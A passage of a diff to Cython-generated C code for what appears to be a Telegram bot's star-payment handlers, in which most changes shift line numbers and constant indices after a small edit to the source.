__PYX_ERR(0, 108, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 110, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 108, __pyx_L1_error) + else __PYX_ERR(0, 110, __pyx_L1_error) } } @@ -5397,22 +5411,22 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __Pyx_XGOTREF(__pyx_t_18); /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 112, __pyx_L15_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 114, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_7 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 113, __pyx_L15_error) + __pyx_t_7 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 115, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_7); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 113, __pyx_L15_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 115, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_target_message, __pyx_t_6) < 0) __PYX_ERR(0, 113, __pyx_L15_error) + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_target_message, __pyx_t_6) < 0) __PYX_ERR(0, 115, __pyx_L15_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_AMOUNT_TEXT); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 114, __pyx_L15_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_AMOUNT_TEXT); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 116, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 113, __pyx_L15_error) + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 115, __pyx_L15_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 115, __pyx_L15_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 117, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_11 = NULL; __pyx_t_5 = 0; @@ -5432,14 +5446,14 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 115, __pyx_L15_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 117, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } - if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 113, __pyx_L15_error) + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 115, __pyx_L15_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 112, __pyx_L15_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 114, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; @@ -5469,12 +5483,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_t_18 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_18); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 112, __pyx_L15_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 114, __pyx_L15_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 112, __pyx_L15_error) + else __PYX_ERR(0, 114, __pyx_L15_error) } } @@ -5497,7 +5511,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_t_19 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_19) { __Pyx_AddTraceback("handlers.payments.stars_pay.process_callback_pay_stars", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_6, &__pyx_t_7, &__pyx_t_3) < 0) __PYX_ERR(0, 117, __pyx_L17_except_error) + if (__Pyx_GetException(&__pyx_t_6, &__pyx_t_7, &__pyx_t_3) < 0) __PYX_ERR(0, 119, __pyx_L17_except_error) __Pyx_XGOTREF(__pyx_t_6); __Pyx_XGOTREF(__pyx_t_7); __Pyx_XGOTREF(__pyx_t_3); @@ -5506,14 +5520,14 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_cur_scope->__pyx_v_e = __pyx_t_7; /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 118, __pyx_L27_error) + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_logger); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 120, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_warning); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 118, __pyx_L27_error) + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_warning); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 120, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 118, __pyx_L27_error) + __pyx_t_11 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 120, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_1 = __Pyx_PyUnicode_Concat(__pyx_kp_u__9, __pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 118, __pyx_L27_error) + __pyx_t_1 = __Pyx_PyUnicode_Concat(__pyx_kp_u__6, __pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __pyx_t_11 = NULL; @@ -5535,7 +5549,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_14, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 118, __pyx_L27_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 120, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; } @@ -5548,9 +5562,9 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __Pyx_XGOTREF(__pyx_t_22); /*try:*/ { - __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 120, __pyx_L29_error) + __pyx_t_14 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 122, __pyx_L29_error) __Pyx_GOTREF(__pyx_t_14); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_delete); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 120, __pyx_L29_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_14, __pyx_n_s_delete); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 122, __pyx_L29_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; __pyx_t_14 = NULL; @@ -5571,7 +5585,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou PyObject *__pyx_callargs[2] = {__pyx_t_14, NULL}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 120, __pyx_L29_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 122, __pyx_L29_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -5631,12 +5645,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_t_22 = __pyx_cur_scope->__pyx_t_8; __pyx_cur_scope->__pyx_t_8 = 0; __Pyx_XGOTREF(__pyx_t_22); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 120, __pyx_L29_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 122, __pyx_L29_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 120, __pyx_L29_error) + else __PYX_ERR(0, 122, __pyx_L29_error) } } @@ -5674,24 +5688,24 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_L36_try_end:; } - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 123, __pyx_L27_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 125, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 123, __pyx_L27_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 125, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_AMOUNT_TEXT); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 124, __pyx_L27_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_AMOUNT_TEXT); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 126, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_14 = PyTuple_New(1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 123, __pyx_L27_error) + __pyx_t_14 = PyTuple_New(1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 125, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_GIVEREF(__pyx_t_4); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_14, 0, __pyx_t_4)) __PYX_ERR(0, 123, __pyx_L27_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_14, 0, __pyx_t_4)) __PYX_ERR(0, 125, __pyx_L27_error); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 125, __pyx_L27_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 127, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 125, __pyx_L27_error) + __pyx_t_12 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 127, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_12); __pyx_t_13 = NULL; __pyx_t_5 = 0; @@ -5711,14 +5725,14 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou PyObject *__pyx_callargs[2] = {__pyx_t_13, NULL}; __pyx_t_11 = __Pyx_PyObject_FastCall(__pyx_t_12, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; - if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 125, __pyx_L27_error) + if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 127, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; } - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_reply_markup, __pyx_t_11) < 0) __PYX_ERR(0, 125, __pyx_L27_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_reply_markup, __pyx_t_11) < 0) __PYX_ERR(0, 127, __pyx_L27_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_14, __pyx_t_4); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 123, __pyx_L27_error) + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_14, __pyx_t_4); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 125, __pyx_L27_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; @@ -5764,12 +5778,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_t_18 = __pyx_cur_scope->__pyx_t_5; __pyx_cur_scope->__pyx_t_5 = 0; __Pyx_XGOTREF(__pyx_t_18); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 123, __pyx_L27_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 125, __pyx_L27_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 123, __pyx_L27_error) + else __PYX_ERR(0, 125, __pyx_L27_error) } } } @@ -5840,11 +5854,11 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_L20_try_end:; } - __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 129, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 129, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_choosing_amount_stars); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 129, __pyx_L1_error) + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_choosing_amount_stars); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; @@ -5866,7 +5880,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 129, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } @@ -5881,12 +5895,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_8generator2(__pyx_Corou __pyx_generator->resume_label = 8; return __pyx_r; __pyx_L43_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 129, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 131, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 129, __pyx_L1_error) + else __PYX_ERR(0, 131, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); @@ -5976,7 +5990,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 133, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 135, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -5984,14 +5998,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 133, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 135, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 133, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 135, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 133, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 135, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -6004,7 +6018,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 133, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 135, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -6043,7 +6057,7 @@ static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_9process_amount_selecti if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_amount_selection *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 133, __pyx_L1_error) + __PYX_ERR(0, 135, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -6054,7 +6068,7 @@ static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_9process_amount_selecti __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_11generator3, __pyx_codeobj__10, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 133, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_11generator3, __pyx_codeobj__7, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -6087,16 +6101,15 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro PyObject *__pyx_t_11 = NULL; PyObject *__pyx_t_12 = NULL; unsigned int __pyx_t_13; - Py_UCS4 __pyx_t_14; - PyObject *__pyx_t_15 = NULL; - int __pyx_t_16; - char const *__pyx_t_17; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + char const *__pyx_t_16; + PyObject *__pyx_t_17 = NULL; PyObject *__pyx_t_18 = NULL; PyObject *__pyx_t_19 = NULL; PyObject *__pyx_t_20 = NULL; PyObject *__pyx_t_21 = NULL; PyObject *__pyx_t_22 = NULL; - PyObject *__pyx_t_23 = NULL; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; @@ -6116,38 +6129,38 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_11generator3(__pyx_Coro return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 133, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 135, __pyx_L1_error) - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__12, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_data = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 139, __pyx_L1_error) + __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 141, __pyx_L1_error) __pyx_t_4 = (__pyx_t_3 != 2); if (__pyx_t_4) { - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 140, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 141, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 141, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_target_message, __pyx_t_5) < 0) __PYX_ERR(0, 141, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_target_message, __pyx_t_5) < 0) __PYX_ERR(0, 143, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_kp_u__13) < 0) __PYX_ERR(0, 141, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_kp_u__10) < 0) __PYX_ERR(0, 143, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, Py_None) < 0) __PYX_ERR(0, 141, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, Py_None) < 0) __PYX_ERR(0, 143, __pyx_L1_error) - __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 140, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; 